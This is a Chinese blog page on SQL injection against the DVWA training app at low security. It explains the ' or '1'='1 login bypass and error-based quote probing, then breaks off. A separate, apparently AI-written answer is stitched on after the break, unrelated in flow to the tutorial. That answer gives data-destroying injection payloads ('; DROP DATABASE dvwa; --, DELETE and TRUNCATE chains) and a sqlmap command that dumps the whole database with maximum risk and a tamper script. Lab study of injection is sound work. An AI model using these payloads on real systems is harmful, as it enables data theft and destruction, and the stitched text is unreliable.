sql注入——DVWA(low)

本文详细介绍了在DVWA中发现SQL注入漏洞的过程,包括基于报错、布尔和排序的检测方式,以及如何利用联合查询和MySQL数据结构进行探测。通过对错误信息的分析和SQL语句的构造,揭示了SQL注入的原理和利用技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

在这里插入图片描述
USER ID 这里只要输入数字,服务器存在的就会给我们返回,如果不存在就不输出任何信息;细心点我们会发现,我们虽然在界面submit,但提交都会在URL显示,很明显这是一种GET方法;
先来说一下sql注入的原理;
假设一下,我们在登陆的时候会提交用户名和密码;而这个密码是存在数据库里的;这就说明了web application已经为我们准备好了查询数据库的语句;先假设是

select * from users where USER='admin' AND PASSWORD='admin'
//只要用户提交了正确的用户名和密码,那么就会带入到这个查询语句中查找是否存在对应的条目;那么sql注入的情况就是数据库没有对用户提交的数据进行过滤产生的;因为服务器端提前将参数放到了两个单引号里面,只要提交参数进单引号里就可以进行提交;
看下面一种情况;
select * from users where USER='aaaa' AND PASSWORD=' ' or '1'='1'
用户乱输入了账号,密码部分先打一个单引号,在输入or '1'='1 ,注意后面的1的后面没有单引号,因为服务器后面还有一个单引号我们需要闭合;那么这样放进数据库一匹配肯定是用户不存在,但是!or 1=1这是逻辑正确的呀,或运算有一真必为真,那么就会返回登陆成功的界面!

以上是简单的讲一下原理;下面实验一下:

基于报错的检测方式

在这里插入图片描述
我们输入一个单引号’ 服务器端无法解析。提示语法错误,后面有五个单引号,我们输入了一个,由此可见可能(这里只是猜测)有两对单引号" “这样的闭合,中间让我们输入这个id数,多出了一个无法解析;很明显如果输入两个就不会出错,因为数据库认为你什么都没有输入;如果存在这样的情况一定存在sql注入漏洞;再看一次例子:
在这里插入图片描述
我输入了a’b’ (url蓝色部分);但是报错信息只是 ‘b’’’ ;因为前面的a已经闭合了;后面的b无法找到闭合点(我们前面认为的” " 这样的组合放在这里又不成立,所以我们前面的猜测肯定的是不对,但是现在可以知道a前面有且仅有一个’,又根据报错信息。那么一定是 ’ ’ "这样的组合;验证猜想输入 a’ 'b结果正确)

<
### 删除DVWA中的MySQL数据库数据 在处理SQL注入攻击时,删除整个数据库的操作是非常危险的行为。通常情况下,这种操作仅用于学习环境下的实验目的,在实际生产环境中绝对不建议执行此类操作。 要通过SQL注入删除`dvwa`数据库中的所有数据,可以按照以下方法实现: #### 方法一:使用 `DROP DATABASE` 命令 如果权限允许,可以通过 SQL 注入发送 `DROP DATABASE dvwa;` 的指令来完全移除该数据库及其所有内容[^1]。然而需要注意的是,大多数 Web 应用程序会限制用户的权限,使得无法直接运行此命令。以下是可能的注入语句形式: ```sql '; DROP DATABASE dvwa; -- ``` #### 方法二:逐表清空数据 更常见的情况是,即使不能直接删除整个数据库,也可以逐一清除其中的数据表。假设已经获得了目标数据库内的表格名称列表,则可通过如下方式分别清理每张表的内容: ```sql DELETE FROM table_name; TRUNCATE TABLE table_name; ``` 对于多个表而言,可构造批量请求完成这一过程。例如,假如已知存在两个表分别为 users 和 orders ,则对应的注入字符串可能是这样的结构: ```sql '; DELETE FROM users; DELETE FROM orders; -- ``` 或者采用更为简洁的方式一次性清空指定范围内的所有表项(需注意语法兼容性): ```sql '; TRUNCATE TABLE users; TRUNCATE TABLE orders; -- ``` #### 自动化工具辅助 为了简化手动构建复杂查询的过程,还可以借助像 SqlMap 这样的自动化渗透测试工具来进行高级别的控制与管理。比如之前提到过的例子中增加了参数选项 `-D dvwa --tables` 来列举具体有哪些可用表之后,再进一步扩展成破坏性的动作前务必确认清楚后果并做好充分准备以防误伤其他重要资源。 最后提醒一点非常重要——以上所有的讨论都建立在一个前提之上即拥有足够的合法授权去针对特定实例实施这些行动;否则非法入侵他人服务器属于违法行为! ```bash sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" \ --cookie="PHPSESSID=rcs60b05f67h1qk27rm2tn1l8f; security=low" \ -D dvwa --dump-all --risk=3 --level=5 --random-agent --tamper=between.py --batch ``` 上述脚本展示了如何利用Sqlmap枚举出更多潜在敏感信息的同时也提高了探测强度等级以便发现隐藏更深的安全隐患[^1]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值